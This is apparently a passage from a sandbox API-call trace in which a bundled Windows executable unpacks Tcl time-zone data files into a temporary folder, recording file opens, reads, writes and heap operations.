MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.039] GetFileType (hFile=0x10c) returned 0x1 [0040.039] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.039] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.039] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.039] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.039] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.039] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.039] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.039] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.039] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.039] CloseHandle (hObject=0x10c) returned 1 [0040.039] GetLastError () returned 0x0 [0040.039] SetLastError (dwErrCode=0x0) [0040.039] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Chungking") returned 71 [0040.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Chungking" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\chungking"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.039] GetLastError () returned 0x2 [0040.039] SetLastError (dwErrCode=0x2) [0040.039] GetLastError () returned 0x2 [0040.039] SetLastError (dwErrCode=0x2) [0040.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Chungking", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Chungking", lpFilePart=0x0) returned 0x46 [0040.039] GetLastError () returned 0x2 [0040.039] SetLastError (dwErrCode=0x2) [0040.039] GetLastError () returned 0x2 [0040.039] SetLastError (dwErrCode=0x2) [0040.039] GetLastError () returned 0x2 [0040.039] SetLastError (dwErrCode=0x2) [0040.039] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Chungking") returned 71 [0040.039] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.040] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Chungking" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\chungking"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.043] GetFileType (hFile=0x10c) returned 0x1 [0040.043] htonl (hostlong=0xb4000000) returned 0xb4 [0040.043] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.043] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb4, lpOverlapped=0x0) returned 1 [0040.058] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.058] CloseHandle (hObject=0x10c) returned 1 [0040.058] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.058] htonl (hostlong=0x30000000) returned 0x30 [0040.058] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.058] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.058] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.058] GetFileType (hFile=0x10c) returned 0x1 [0040.058] htonl (hostlong=0x43c75a00) returned 0x5ac743 [0040.058] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f7743, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.058] htonl (hostlong=0xd0000000) returned 0xd0 [0040.058] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd0) returned 0x546280 [0040.059] htonl (hostlong=0xd0000000) returned 0xd0 [0040.059] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.059] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.059] htonl (hostlong=0x5b010000) returned 0x15b [0040.059] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x15b) returned 0x550600 [0040.059] htonl (hostlong=0xd0000000) returned 0xd0 [0040.059] htonl (hostlong=0x5b010000) returned 0x15b [0040.059] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.059] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.059] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546280 | out: hHeap=0x530000) returned 1 [0040.059] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.059] CloseHandle (hObject=0x10c) returned 1 [0040.059] GetLastError () returned 0x0 [0040.059] SetLastError (dwErrCode=0x0) [0040.059] GetLastError () returned 0x0 [0040.059] SetLastError (dwErrCode=0x0) [0040.059] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.059] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.059] GetFileType (hFile=0x10c) returned 0x1 [0040.059] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.059] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.059] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.059] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.059] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.063] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.064] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.064] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.064] CloseHandle (hObject=0x10c) returned 1 [0040.064] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.064] GetFileType (hFile=0x10c) returned 0x1 [0040.064] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.064] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.064] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.064] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.064] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.064] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.064] CloseHandle (hObject=0x10c) returned 1 [0040.064] GetLastError () returned 0x0 [0040.064] SetLastError (dwErrCode=0x0) [0040.064] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.065] GetFileType (hFile=0x10c) returned 0x1 [0040.065] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.065] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.065] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.065] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.065] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.065] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.065] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.065] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.065] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.065] CloseHandle (hObject=0x10c) returned 1 [0040.065] GetLastError () returned 0x0 [0040.065] SetLastError (dwErrCode=0x0) [0040.065] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Colombo") returned 69 [0040.065] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Colombo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\colombo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.065] GetLastError () returned 0x2 [0040.065] SetLastError (dwErrCode=0x2) [0040.065] GetLastError () returned 0x2 [0040.065] SetLastError (dwErrCode=0x2) [0040.065] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Colombo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Colombo", lpFilePart=0x0) returned 0x44 [0040.065] GetLastError () returned 0x2 [0040.065] SetLastError (dwErrCode=0x2) [0040.065] GetLastError () returned 0x2 [0040.065] SetLastError (dwErrCode=0x2) [0040.065] GetLastError () returned 0x2 [0040.065] SetLastError (dwErrCode=0x2) [0040.065] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Colombo") returned 69 [0040.065] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.066] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Colombo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\colombo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.066] GetFileType (hFile=0x10c) returned 0x1 [0040.066] htonl (hostlong=0x5b010000) returned 0x15b [0040.066] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.066] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x15b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x15b, lpOverlapped=0x0) returned 1 [0040.067] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.067] CloseHandle (hObject=0x10c) returned 1 [0040.067] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.067] htonl (hostlong=0x30000000) returned 0x30 [0040.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.067] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.067] GetFileType (hFile=0x10c) returned 0x1 [0040.067] htonl (hostlong=0x13c85a00) returned 0x5ac813 [0040.067] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f7813, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.067] htonl (hostlong=0x84000000) returned 0x84 [0040.067] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x84) returned 0x55cfe0 [0040.067] htonl (hostlong=0x84000000) returned 0x84 [0040.067] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.067] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.067] htonl (hostlong=0xa4000000) returned 0xa4 [0040.067] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa4) returned 0x544c50 [0040.067] htonl (hostlong=0x84000000) returned 0x84 [0040.067] htonl (hostlong=0xa4000000) returned 0xa4 [0040.068] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.068] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.068] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.068] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.068] CloseHandle (hObject=0x10c) returned 1 [0040.068] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.068] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.069] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.069] GetFileType (hFile=0x10c) returned 0x1 [0040.069] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.069] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.069] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.069] CloseHandle (hObject=0x10c) returned 1 [0040.069] GetLastError () returned 0x0 [0040.069] SetLastError (dwErrCode=0x0) [0040.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.069] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.069] GetFileType (hFile=0x10c) returned 0x1 [0040.069] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.069] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.070] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.070] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.070] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.070] CloseHandle (hObject=0x10c) returned 1 [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.070] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.070] GetFileType (hFile=0x10c) returned 0x1 [0040.070] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.070] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.070] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.070] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.070] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, 